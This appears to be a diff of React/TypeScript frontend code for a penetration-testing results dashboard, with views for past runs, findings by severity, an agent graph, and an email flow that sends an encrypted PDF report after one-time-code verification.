|
||||
onAuthChanged={() => {
|
||||
void refreshAuth();
|
||||
void refreshRuns();
|
||||
}}
|
||||
onExit={(dest) => setView(dest === "history" ? "history" : "overview")}
|
||||
/>
|
||||
) : view === "feedback" ? (
|
||||
<FeedbackView
|
||||
defaultEmail={auth?.email ?? null}
|
||||
onExit={(dest) => setView(dest)}
|
||||
/>
|
||||
) : view === "history" ? (
|
||||
<div className="space-y-4">
|
||||
<div className="flex items-center gap-2">
|
||||
<History className="w-5 h-5 text-[#888]" aria-hidden="true" />
|
||||
<h1 className="text-2xl font-semibold text-white">Past runs</h1>
|
||||
</div>
|
||||
<PastRunsView
|
||||
runs={runs}
|
||||
activeRun={activeRun}
|
||||
onSelectRun={selectRun}
|
||||
onVerified={() => void onPastRunsVerified()}
|
||||
/>
|
||||
</div>
|
||||
) : !run && !error ? (
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-10 text-center">
|
||||
<div className="w-6 h-6 mx-auto mb-3 rounded-full border-2 border-[#333] border-t-white animate-spin" />
|
||||
<p className="text-sm text-[#888]">Loading run data…</p>
|
||||
</div>
|
||||
) : run && counts ? (
|
||||
<>
|
||||
<SummaryHeader summary={run.summary} />
|
||||
|
||||
{/* Tab strip: shown on small screens where the sidebar is hidden. */}
|
||||
<div className="flex gap-5 border-b border-[#2a2a2a] lg:hidden">
|
||||
<TabButton active={view === "overview"} onClick={() => userSetView("overview")}>
|
||||
Pentest Overview
|
||||
</TabButton>
|
||||
<TabButton active={view === "issues"} onClick={() => userSetView("issues")}>
|
||||
Issues{run.vulnerabilities.length > 0 ? ` (${run.vulnerabilities.length})` : ""}
|
||||
</TabButton>
|
||||
{agentCount > 0 && (
|
||||
<TabButton active={view === "agents"} onClick={() => userSetView("agents")}>
|
||||
Agents ({agentCount})
|
||||
</TabButton>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{view === "overview" ? (
|
||||
<OverviewTab
|
||||
summary={run.summary}
|
||||
counts={counts}
|
||||
total={run.vulnerabilities.length}
|
||||
reportMarkdown={run.reportMarkdown}
|
||||
raw={run.raw}
|
||||
finished={run.finished}
|
||||
onOpenEmail={openEmailFromOverview}
|
||||
/>
|
||||
) : view === "agents" && agentCount > 0 ? (
|
||||
<AgentsTab run={run} canSteer={canSteer} />
|
||||
) : selected ? (
|
||||
<div className="space-y-4">
|
||||
<button
|
||||
onClick={() => setSelectedId(null)}
|
||||
className="cursor-pointer inline-flex items-center gap-1.5 text-sm text-[#888] hover:text-white transition-colors"
|
||||
>
|
||||
<ArrowLeft className="w-4 h-4" /> Back to all findings
|
||||
</button>
|
||||
<VulnerabilityDetail vulnerability={selected} />
|
||||
</div>
|
||||
) : (
|
||||
<FindingsList
|
||||
vulnerabilities={run.vulnerabilities}
|
||||
finished={run.finished}
|
||||
onSelect={(id) => setSelectedId(id)}
|
||||
/>
|
||||
)}
|
||||
</>
|
||||
) : null}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<TrustToast message={TRUST_BANNER} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function RunSwitcher({
|
||||
runs,
|
||||
activeRun,
|
||||
launchedName,
|
||||
onSelect,
|
||||
}: {
|
||||
runs: RunsPayload;
|
||||
activeRun: string | null;
|
||||
launchedName: string;
|
||||
onSelect: (name: string) => void;
|
||||
}) {
|
||||
const [open, setOpen] = useState(false);
|
||||
const activeEntry = runs.runs.find((r) => r.name === activeRun);
|
||||
const current = activeEntry ? runTitle(activeEntry.target, activeEntry.name) : launchedName;
|
||||
return (
|
||||
<div className="relative">
|
||||
<button
|
||||
onClick={() => setOpen((o) => !o)}
|
||||
onBlur={() => setTimeout(() => setOpen(false), 150)}
|
||||
aria-label="Switch pentest"
|
||||
className="flex items-center gap-2 rounded-lg border border-[#3a3a3a] bg-[rgba(255,255,255,0.05)] px-3 py-2 text-sm text-white transition-colors hover:border-[#555] hover:bg-[rgba(255,255,255,0.09)]"
|
||||
>
|
||||
<History className="h-4 w-4 flex-shrink-0 text-[#888]" aria-hidden="true" />
|
||||
<span className="flex-shrink-0 text-[#888]">Pentest</span>
|
||||
<span className="max-w-[260px] truncate font-medium">{current}</span>
|
||||
<ChevronDown className="h-4 w-4 flex-shrink-0 text-[#aaa]" aria-hidden="true" />
|
||||
</button>
|
||||
{open && (
|
||||
<div
|
||||
className="absolute right-0 z-50 mt-2 max-h-96 w-96 overflow-y-auto rounded-xl py-1.5 shadow-2xl"
|
||||
style={{ border: "1px solid #3a3a3a", background: "#0a0a0a" }}
|
||||
>
|
||||
<div className="border-b border-[#222] px-3 py-2 text-[11px] font-semibold uppercase tracking-wide text-[#666]">
|
||||
Switch pentest
|
||||
</div>
|
||||
{runs.runs.map((r) => {
|
||||
const active = r.name === activeRun;
|
||||
return (
|
||||
<button
|
||||
key={r.name}
|
||||
onMouseDown={() => onSelect(r.name)}
|
||||
className={`flex w-full items-center gap-2 px-3 py-2.5 text-left text-sm transition-colors hover:bg-[rgba(255,255,255,0.06)] ${
|
||||
active ? "bg-[rgba(255,255,255,0.04)] text-white" : "text-[#aaa]"
|
||||
}`}
|
||||
>
|
||||
<span className="min-w-0 flex-1">
|
||||
<span className="block truncate font-medium">{runTitle(r.target, r.name)}</span>
|
||||
{r.target && <span className="block truncate font-mono text-xs text-[#666]">{r.target}</span>}
|
||||
</span>
|
||||
{active && <span className="h-2 w-2 flex-shrink-0 rounded-full bg-emerald-400" />}
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function LiveIndicator({ finished }: { finished: boolean }) {
|
||||
if (finished) {
|
||||
return (
|
||||
<span className="ml-3 inline-flex items-center gap-1.5 text-xs text-[#888]">
|
||||
<span className="w-1.5 h-1.5 rounded-full bg-[#555]" />
|
||||
Complete
|
||||
</span>
|
||||
);
|
||||
}
|
||||
return (
|
||||
<span className="ml-3 inline-flex items-center gap-1.5 text-xs text-emerald-400">
|
||||
<span className="relative flex h-1.5 w-1.5">
|
||||
<span className="absolute inline-flex h-full w-full rounded-full bg-emerald-400 opacity-75 animate-ping" />
|
||||
<span className="relative inline-flex h-1.5 w-1.5 rounded-full bg-emerald-400" />
|
||||
</span>
|
||||
Live
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
function formatDuration(seconds: number | null): string | null {
|
||||
if (seconds == null) return null;
|
||||
if (seconds < 60) return `${seconds}s`;
|
||||
const m = Math.floor(seconds / 60);
|
||||
if (m < 60) return `${m}m`;
|
||||
const h = Math.floor(m / 60);
|
||||
return `${h}h ${m % 60}m`;
|
||||
}
|
||||
|
||||
function SummaryHeader({ summary }: { summary: ParsedRunSummary }) {
|
||||
const duration = formatDuration(summary.durationSeconds);
|
||||
return (
|
||||
<div>
|
||||
<h1 className="text-2xl font-semibold text-white">
|
||||
{runTitle(summary.targets[0] ?? null, summary.runName ?? summary.runId ?? "Pentest results")}
|
||||
</h1>
|
||||
<div className="mt-1 flex flex-wrap items-center gap-x-3 gap-y-1 text-sm text-[#888]">
|
||||
{summary.targets.length > 0 && (
|
||||
<span className="font-mono text-[#aaa]">{summary.targets.join(", ")}</span>
|
||||
)}
|
||||
{summary.scanMode && <Meta label={summary.scanMode} />}
|
||||
{duration && <Meta label={duration} />}
|
||||
{summary.status && <Meta label={summary.status} />}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function Meta({ label }: { label: string }) {
|
||||
return (
|
||||
<>
|
||||
<span className="text-[#333]">·</span>
|
||||
<span className="capitalize">{label}</span>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
function FindingsList({
|
||||
vulnerabilities,
|
||||
finished,
|
||||
onSelect,
|
||||
}: {
|
||||
vulnerabilities: Vulnerability[];
|
||||
finished: boolean;
|
||||
onSelect: (id: string) => void;
|
||||
}) {
|
||||
const sorted = [...vulnerabilities].sort(
|
||||
(a, b) => SEVERITY_ORDER.indexOf(a.severity) - SEVERITY_ORDER.indexOf(b.severity)
|
||||
);
|
||||
if (sorted.length === 0) {
|
||||
return (
|
||||
<div className="space-y-4">
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center text-sm text-[#888]">
|
||||
{finished ? "No findings in this run." : "No findings yet. The pentest is still running…"}
|
||||
</div>
|
||||
{finished && (
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<p className="text-sm font-medium text-white">Stay ahead of new exposures</p>
|
||||
<p className="mt-0.5 mb-3 text-xs text-[#666]">
|
||||
Attack surface monitoring catches new exposures for your org over time.
|
||||
</p>
|
||||
<ProInlineCta
|
||||
label="Attack surface monitoring"
|
||||
desc="Continuous coverage for your whole org."
|
||||
slug="asm"
|
||||
surface="empty_state"
|
||||
icon={Radar}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
return (
|
||||
<div className="space-y-2">
|
||||
{sorted.map((v) => (
|
||||
<button
|
||||
key={v.id}
|
||||
onClick={() => onSelect(v.id)}
|
||||
className="animate-card-in cursor-pointer w-full text-left rounded-lg border border-[#222] hover:border-[#444] bg-[rgba(255,255,255,0.02)] px-4 py-3 transition-colors flex items-center gap-3"
|
||||
>
|
||||
<span className={`w-2.5 h-2.5 rounded-full flex-shrink-0 ${getSeverityDot(v.severity)}`} aria-hidden="true" />
|
||||
<span className="flex-1 min-w-0">
|
||||
<span className="block text-sm font-medium text-white truncate">{v.title}</span>
|
||||
{v.target && (
|
||||
<span className="block text-xs text-[#666] font-mono truncate">{v.target}</span>
|
||||
)}
|
||||
</span>
|
||||
<span
|
||||
className={`text-xs font-semibold px-2 py-0.5 rounded-full border capitalize ${SEVERITY_COLORS[v.severity]}`}
|
||||
>
|
||||
{v.severity}
|
||||
</span>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** Strip a single leading markdown heading (report sections embed their own). */
|
||||
function stripLeadingHeading(md: string): string {
|
||||
return md.replace(/^\s*#{1,6}[ \t]+.*(?:\r?\n)+/, "").trimStart();
|
||||
}
|
||||
|
||||
function dedupeHeadings(md: string): string {
|
||||
const out: string[] = [];
|
||||
let lastHeading: string | null = null;
|
||||
for (const line of md.split("\n")) {
|
||||
const m = line.match(/^#{1,6}\s+(.*)$/);
|
||||
if (m) {
|
||||
const norm = m[1].trim().toLowerCase();
|
||||
if (norm === lastHeading) continue;
|
||||
lastHeading = norm;
|
||||
} else if (line.trim() !== "") {
|
||||
lastHeading = null;
|
||||
}
|
||||
out.push(line);
|
||||
}
|
||||
return out.join("\n");
|
||||
}
|
||||
|
||||
/** Primary local CTA: email an encrypted PDF. Verify-email affordance, no lock. */
|
||||
function EmailReportCta({ onOpenEmail }: { onOpenEmail: () => void }) {
|
||||
return (
|
||||
<button
|
||||
onClick={onOpenEmail}
|
||||
className="group w-full cursor-pointer rounded-xl border border-emerald-500/25 bg-emerald-500/[0.06] p-4 text-left transition-colors hover:border-emerald-500/40"
|
||||
>
|
||||
<div className="flex items-center gap-3">
|
||||
<div
|
||||
className="flex h-9 w-9 flex-shrink-0 items-center justify-center rounded-lg"
|
||||
style={{ border: "1px solid rgba(16,185,129,0.3)", background: "rgba(16,185,129,0.08)" }}
|
||||
>
|
||||
<Mail className="h-4 w-4 text-emerald-400" aria-hidden="true" />
|
||||
</div>
|
||||
<div className="min-w-0 flex-1">
|
||||
<p className="text-sm font-semibold text-white">Email an encrypted PDF report of this run</p>
|
||||
<p className="mt-0.5 text-xs text-[#888]">
|
||||
Encrypted with a key only you can see, email verified with a one-time code before sending.
|
||||
</p>
|
||||
</div>
|
||||
<span className="flex-shrink-0 rounded-lg bg-white px-3 py-1.5 text-xs font-semibold text-black transition-opacity group-hover:opacity-90">
|
||||
Export report to PDF
|
||||
</span>
|
||||
</div>
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
function OverviewTab({
|
||||
summary,
|
||||
counts,
|
||||
total,
|
||||
reportMarkdown,
|
||||
raw,
|
||||
finished,
|
||||
onOpenEmail,
|
||||
}: {
|
||||
summary: ParsedRunSummary;
|
||||
counts: Record<VulnerabilitySeverity, number>;
|
||||
total: number;
|
||||
reportMarkdown: string | null;
|
||||
raw: Record<string, unknown>;
|
||||
finished: boolean;
|
||||
onOpenEmail: () => void;
|
||||
}) {
|
||||
const sections = (
|
||||
[
|
||||
["Executive Summary", summary.executiveSummary],
|
||||
["Technical Analysis", summary.technicalAnalysis],
|
||||
["Methodology", summary.methodology],
|
||||
["Recommendations", summary.recommendations],
|
||||
] as const
|
||||
)
|
||||
.filter(([, content]) => !!content)
|
||||
.map(([title, content]) => ({ title, content: stripLeadingHeading(content as string) }));
|
||||
|
||||
return (
|
||||
<div className="space-y-6">
|
||||
<div className="animate-card-in">
|
||||
<RunDetails raw={raw} durationSeconds={summary.durationSeconds} />
|
||||
</div>
|
||||
|
||||
{total > 0 && (
|
||||
<div className="animate-card-in rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<IssueSeveritySummary findings={{ total, ...counts }} />
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Primary CTA: the one primary on Overview. Hidden until the run is
|
||||
finished, since a live scan would only email a partial report. */}
|
||||
{finished && (
|
||||
<div className="animate-card-in">
|
||||
<EmailReportCta onOpenEmail={onOpenEmail} />
|
||||
</div>
|
||||
)}
|
||||
|
||||
{sections.length > 0 ? (
|
||||
<div className="animate-card-in rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5 space-y-8">
|
||||
{sections.map((s) => (
|
||||
<ContentSection key={s.title} title={s.title} content={s.content} />
|
||||
))}
|
||||
</div>
|
||||
) : reportMarkdown ? (
|
||||
<div className="animate-card-in rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<ContentSection content={dedupeHeadings(reportMarkdown)} />
|
||||
</div>
|
||||
) : (
|
||||
total === 0 && (
|
||||
<p className="text-sm text-[#888]">No summary available for this run yet.</p>
|
||||
)
|
||||
)}
|
||||
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function TabButton({
|
||||
active,
|
||||
onClick,
|
||||
children,
|
||||
}: {
|
||||
active: boolean;
|
||||
onClick: () => void;
|
||||
children: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<button
|
||||
onClick={onClick}
|
||||
className={`cursor-pointer relative pb-2.5 text-sm font-semibold transition-colors ${
|
||||
active ? "text-white" : "text-[#666] hover:text-white"
|
||||
}`}
|
||||
>
|
||||
{children}
|
||||
{active && <span className="absolute bottom-0 inset-x-0 h-0.5 bg-white rounded-full" />}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
function AgentsTab({ run, canSteer }: { run: LoadedRun; canSteer: boolean }) {
|
||||
const { agents, events } = run.transcript;
|
||||
const graphAgents = useMemo(() => buildGraphAgents(agents, events), [agents, events]);
|
||||
// Clicking a graph node opens the agent's transcript in a modal; no node selected means no modal.
|
||||
const [selectedId, setSelectedId] = useState<string | null>(null);
|
||||
const selectedAgent = selectedId ? (agents.find((a) => a.id === selectedId) ?? null) : null;
|
||||
|
||||
// Live steering is only possible in-process (canSteer) while the scan runs.
|
||||
const steerable = canSteer && !run.finished;
|
||||
|
||||
return (
|
||||
<div className="space-y-5">
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<div className="flex items-center gap-2">
|
||||
<Bot className="w-4 h-4 text-[#888]" aria-hidden="true" />
|
||||
<h2 className="text-sm font-semibold text-white">Agent graph</h2>
|
||||
<span className="text-xs text-[#666]">
|
||||
{agents.length} agent{agents.length === 1 ? "" : "s"}
|
||||
</span>
|
||||
</div>
|
||||
<p className="mt-1 mb-4 text-xs text-[#666]">
|
||||
Click an agent to open its full transcript.
|
||||
</p>
|
||||
<div className="h-[480px] rounded-lg border border-[#1a1a1a] overflow-hidden">
|
||||
<AgentGraph
|
||||
agents={graphAgents}
|
||||
selectedAgentId={selectedId}
|
||||
onSelectAgent={(id) => setSelectedId(id)}
|
||||
eventsLoaded
|
||||
eventsEmpty={graphAgents.size === 0}
|
||||
scanCompleted={run.finished}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Live steering: only in-process while the scan runs. Otherwise omitted. */}
|
||||
{steerable && <ScanPromptComposer agents={agents} />}
|
||||
|
||||
{/* Re-run always routes to Strix Cloud. */}
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<p className="text-sm font-semibold text-white">Run this pentest with more depth</p>
|
||||
<p className="mt-0.5 text-xs text-[#666]">Re-run this pentest on managed infra in the cloud.</p>
|
||||
<div className="mt-3 flex flex-wrap gap-2.5">
|
||||
<ProInlineCta
|
||||
label="Re-run in Strix Pro with more depth"
|
||||
desc="Run this pentest on managed infra with more depth."
|
||||
slug="live_scan"
|
||||
surface="agents"
|
||||
icon={Rocket}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<AgentDetailModal
|
||||
open={selectedAgent !== null}
|
||||
agent={selectedAgent}
|
||||
events={events}
|
||||
steerable={steerable}
|
||||
onClose={() => setSelectedId(null)}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
// Extracted ProviderIcon from strix-app's AddRepositoryDialog. The dialog itself
|
||||
// (and its next/link dependency) is dropped; the IssueSidebar only needs this SVG
|
||||
// switch to badge a finding's source-control provider. Web-app targets resolve to
|
||||
// provider === null and never reach here (they render a globe icon instead).
|
||||
import { Github, Gitlab } from "lucide-react";
|
||||
|
||||
function BitbucketIcon({ className }: { className?: string }) {
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="currentColor" className={className} aria-hidden="true">
|
||||
<path d="M2.65 3a.72.72 0 0 0-.72.83l2.86 17.39a.98.98 0 0 0 .96.82h13.72a.72.72 0 0 0 .72-.6l2.86-17.4A.72.72 0 0 0 22.3 3H2.65Zm12.1 12.53H9.3L8.06 8.9h7.8l-1.11 6.63Z" />
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export function ProviderIcon({ provider, className }: { provider: string; className?: string }) {
|
||||
const cls = className ?? "w-4 h-4";
|
||||
if (provider === "gitlab") return <Gitlab className={`${cls} text-orange-400`} />;
|
||||
if (provider === "bitbucket") return <BitbucketIcon className={`${cls} text-blue-400`} />;
|
||||
return <Github className={`${cls} text-white`} />;
|
||||
}
|
||||
@@ -1,371 +0,0 @@
|
||||
import { useEffect, useRef, useState } from "react";
|
||||
import { Mail, ShieldCheck, Lock, Copy, Check, Loader2, AlertCircle, ArrowLeft } from "lucide-react";
|
||||
import {
|
||||
otpStart,
|
||||
otpVerify,
|
||||
sendReport,
|
||||
type AuthStatus,
|
||||
} from "@/data/serverSource";
|
||||
import { track } from "@/lib/cta";
|
||||
|
||||
/**
|
||||
* The email-report / email-verification flow rendered as its own page (not a
|
||||
* modal, so it never floats over another surface). Report mode ends in the
|
||||
* one-time password panel; verify mode just confirms the email and returns to
|
||||
* the caller. The page unmounts when you navigate away, so state resets each
|
||||
* time it is opened.
|
||||
*/
|
||||
|
||||
type Step = "disclosure" | "email" | "code" | "sending" | "password";
|
||||
|
||||
interface EmailReportViewProps {
|
||||
activeRun: string | null;
|
||||
auth: AuthStatus | null;
|
||||
purpose: "report" | "verify";
|
||||
/**
|
||||
* Skip the report disclosure and start the flow directly (used by the
|
||||
* Overview CTA, which already states the tradeoff). Unverified users land on
|
||||
* the email step; already-verified users send immediately.
|
||||
*/
|
||||
skipDisclosure?: boolean;
|
||||
/** Refresh auth + runs after a successful verify (lifts state to App). */
|
||||
onAuthChanged: () => void;
|
||||
/** Leave this page (report "Done" -> overview; verify success -> history). */
|
||||
onExit: (dest: "overview" | "history") => void;
|
||||
}
|
||||
|
||||
const OTP_START_ERRORS: Record<string, string> = {
|
||||
work_email_required: "Please use your work email, not a personal one.",
|
||||
rate_limited: "Too many requests. Wait a minute and try again.",
|
||||
invalid_email: "That email does not look right. Check it and try again.",
|
||||
unavailable: "The email service is unavailable right now. Try again shortly.",
|
||||
};
|
||||
|
||||
const SEND_ERRORS: Record<string, string> = {
|
||||
forbidden: "This email was unsubscribed from Strix, so we cannot send to it.",
|
||||
too_large: "This report is too large to email. Try a smaller run.",
|
||||
unavailable: "The email service is unavailable right now. Try again shortly.",
|
||||
};
|
||||
|
||||
// A small set of common personal providers for instant client-side feedback.
|
||||
// The relay is authoritative (it checks the full free-email-domains list).
|
||||
const COMMON_FREE_DOMAINS = new Set([
|
||||
"gmail.com", "googlemail.com", "yahoo.com", "ymail.com", "outlook.com",
|
||||
"hotmail.com", "live.com", "icloud.com", "me.com", "aol.com", "proton.me",
|
||||
"protonmail.com", "gmx.com", "mail.com",
|
||||
]);
|
||||
|
||||
export default function EmailReportView({
|
||||
activeRun,
|
||||
auth,
|
||||
purpose,
|
||||
skipDisclosure = false,
|
||||
onAuthChanged,
|
||||
onExit,
|
||||
}: EmailReportViewProps) {
|
||||
const verified = auth?.verified === true;
|
||||
const verifyOnly = purpose === "verify";
|
||||
// Verify mode (and the Overview CTA, which skips the disclosure) start on the
|
||||
// email step; a verified user who skips the disclosure sends immediately.
|
||||
const [step, setStep] = useState<Step>(() => {
|
||||
if (verifyOnly) return "email";
|
||||
if (skipDisclosure) return verified ? "sending" : "email";
|
||||
return "disclosure";
|
||||
});
|
||||
const [email, setEmail] = useState(auth?.email ?? "");
|
||||
const [code, setCode] = useState("");
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [notice, setNotice] = useState<string | null>(null);
|
||||
const [password, setPassword] = useState("");
|
||||
const [filename, setFilename] = useState("");
|
||||
const [copied, setCopied] = useState(false);
|
||||
const [sentTo, setSentTo] = useState("");
|
||||
const autoSentRef = useRef(false);
|
||||
|
||||
const doSend = async () => {
|
||||
setStep("sending");
|
||||
setError(null);
|
||||
const result = await sendReport(activeRun);
|
||||
if (result.ok) {
|
||||
track("report_sent");
|
||||
setPassword(result.password);
|
||||
setFilename(result.filename);
|
||||
setStep("password");
|
||||
return;
|
||||
}
|
||||
if (result.error === "reverify" || result.error === "unverified") {
|
||||
setNotice("Your verification expired. Enter your email to verify again.");
|
||||
setStep("email");
|
||||
return;
|
||||
}
|
||||
setError(SEND_ERRORS[result.error] ?? "Could not send the report. Try again.");
|
||||
setStep("disclosure");
|
||||
};
|
||||
|
||||
const startFlow = () => {
|
||||
setError(null);
|
||||
setNotice(null);
|
||||
if (verified) void doSend();
|
||||
else setStep("email");
|
||||
};
|
||||
|
||||
// A verified user who skipped the disclosure (Overview CTA) sends on arrival.
|
||||
useEffect(() => {
|
||||
if (!verifyOnly && skipDisclosure && verified && !autoSentRef.current) {
|
||||
autoSentRef.current = true;
|
||||
void doSend();
|
||||
}
|
||||
// Run once on mount; the page remounts fresh each time it is opened.
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, []);
|
||||
|
||||
const submitEmail = async () => {
|
||||
const value = email.trim();
|
||||
if (!value) {
|
||||
setError("Enter your email to continue.");
|
||||
return;
|
||||
}
|
||||
const domain = value.slice(value.lastIndexOf("@") + 1).toLowerCase();
|
||||
if (COMMON_FREE_DOMAINS.has(domain)) {
|
||||
track("work_email_required");
|
||||
setError(OTP_START_ERRORS.work_email_required);
|
||||
return;
|
||||
}
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
const result = await otpStart(value);
|
||||
setBusy(false);
|
||||
if (result.ok) {
|
||||
track("email_submitted", { purpose });
|
||||
setNotice(`We sent a 6-digit code to ${value}.`);
|
||||
setStep("code");
|
||||
} else {
|
||||
if (result.error === "work_email_required") track("work_email_required");
|
||||
setError(OTP_START_ERRORS[result.error] ?? "Could not send a code. Try again.");
|
||||
}
|
||||
};
|
||||
|
||||
const submitCode = async () => {
|
||||
const value = code.trim();
|
||||
if (value.length < 4) {
|
||||
setError("Enter the 6-digit code from your email.");
|
||||
return;
|
||||
}
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
const result = await otpVerify(email.trim(), value);
|
||||
setBusy(false);
|
||||
if (!result.verified) {
|
||||
setError("That code did not match. Check it and try again.");
|
||||
return;
|
||||
}
|
||||
track("email_verified", { purpose });
|
||||
setSentTo(result.email);
|
||||
onAuthChanged();
|
||||
if (verifyOnly) onExit("history");
|
||||
else void doSend();
|
||||
};
|
||||
|
||||
const copyPassword = async () => {
|
||||
try {
|
||||
await navigator.clipboard.writeText(password);
|
||||
setCopied(true);
|
||||
setTimeout(() => setCopied(false), 1500);
|
||||
} catch {
|
||||
/* clipboard may be unavailable; the password is visible to copy manually */
|
||||
}
|
||||
};
|
||||
|
||||
const confirmationEmail = sentTo || auth?.email || email.trim();
|
||||
|
||||
return (
|
||||
<div className="mx-auto max-w-xl space-y-4">
|
||||
<button
|
||||
onClick={() => onExit(verifyOnly ? "history" : "overview")}
|
||||
className="cursor-pointer inline-flex items-center gap-1.5 text-sm text-[#888] transition-colors hover:text-white"
|
||||
>
|
||||
<ArrowLeft className="h-4 w-4" />
|
||||
{verifyOnly ? "Back to past runs" : "Back to results"}
|
||||
</button>
|
||||
|
||||
<div className="flex items-center gap-2">
|
||||
<Mail className="h-5 w-5 text-[#888]" aria-hidden="true" />
|
||||
<h1 className="text-2xl font-semibold text-white">
|
||||
{verifyOnly ? "Verify your email" : "Export report to PDF"}
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
<div
|
||||
className="w-full rounded-2xl bg-[rgba(255,255,255,0.02)] p-6"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
>
|
||||
<p className="mb-4 text-xs text-[#666]">
|
||||
{verifyOnly
|
||||
? "We send a one-time code to confirm it is you."
|
||||
: "Verified by a one-time code sent to your email"}
|
||||
</p>
|
||||
|
||||
{error && (
|
||||
<div className="mb-4 flex items-start gap-2 rounded-lg border border-red-500/30 bg-red-500/5 px-3 py-2">
|
||||
<AlertCircle className="mt-0.5 h-4 w-4 flex-shrink-0 text-red-400" aria-hidden="true" />
|
||||
<p className="text-xs text-red-300">{error}</p>
|
||||
</div>
|
||||
)}
|
||||
{notice && !error && step !== "password" && (
|
||||
<p className="mb-4 text-xs text-[#888]">{notice}</p>
|
||||
)}
|
||||
|
||||
{step === "disclosure" && (
|
||||
<div className="space-y-4">
|
||||
<div
|
||||
className="space-y-2.5 rounded-lg p-3.5"
|
||||
style={{ border: "1px solid #222", background: "rgba(255,255,255,0.02)" }}
|
||||
>
|
||||
<div className="flex items-start gap-2.5">
|
||||
<ShieldCheck className="mt-0.5 h-4 w-4 flex-shrink-0 text-emerald-400" aria-hidden="true" />
|
||||
<p className="text-xs leading-relaxed text-[#aaa]">
|
||||
We email an <span className="text-white">encrypted PDF</span>. Nothing else leaves your machine.
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-start gap-2.5">
|
||||
<Lock className="mt-0.5 h-4 w-4 flex-shrink-0 text-[#888]" aria-hidden="true" />
|
||||
<p className="text-xs leading-relaxed text-[#aaa]">
|
||||
Only you hold the password; Strix can't read it.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<button
|
||||
onClick={startFlow}
|
||||
className="w-full cursor-pointer rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90"
|
||||
>
|
||||
Export report
|
||||
</button>
|
||||
{verified && auth?.email && (
|
||||
<p className="text-center text-xs text-[#666]">Sending to {auth.email}</p>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{step === "email" && (
|
||||
<form
|
||||
className="space-y-4"
|
||||
onSubmit={(e) => {
|
||||
e.preventDefault();
|
||||
void submitEmail();
|
||||
}}
|
||||
>
|
||||
<label className="block">
|
||||
<span className="mb-1.5 block text-xs text-[#888]">Your work email</span>
|
||||
<input
|
||||
type="email"
|
||||
autoFocus
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
placeholder="you@company.com"
|
||||
className="w-full rounded-lg bg-black px-3 py-2.5 text-sm text-white outline-none transition-colors focus:border-[#444]"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
/>
|
||||
</label>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={busy}
|
||||
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
|
||||
>
|
||||
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
|
||||
Send me a code
|
||||
</button>
|
||||
</form>
|
||||
)}
|
||||
|
||||
{step === "code" && (
|
||||
<form
|
||||
className="space-y-4"
|
||||
onSubmit={(e) => {
|
||||
e.preventDefault();
|
||||
void submitCode();
|
||||
}}
|
||||
>
|
||||
<label className="block">
|
||||
<span className="mb-1.5 block text-xs text-[#888]">6-digit code</span>
|
||||
<input
|
||||
inputMode="numeric"
|
||||
autoFocus
|
||||
value={code}
|
||||
onChange={(e) => setCode(e.target.value.replace(/\D/g, "").slice(0, 6))}
|
||||
placeholder="123456"
|
||||
className="w-full rounded-lg bg-black px-3 py-2.5 text-center text-lg font-mono tracking-[0.4em] text-white outline-none transition-colors focus:border-[#444]"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
/>
|
||||
</label>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={busy}
|
||||
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
|
||||
>
|
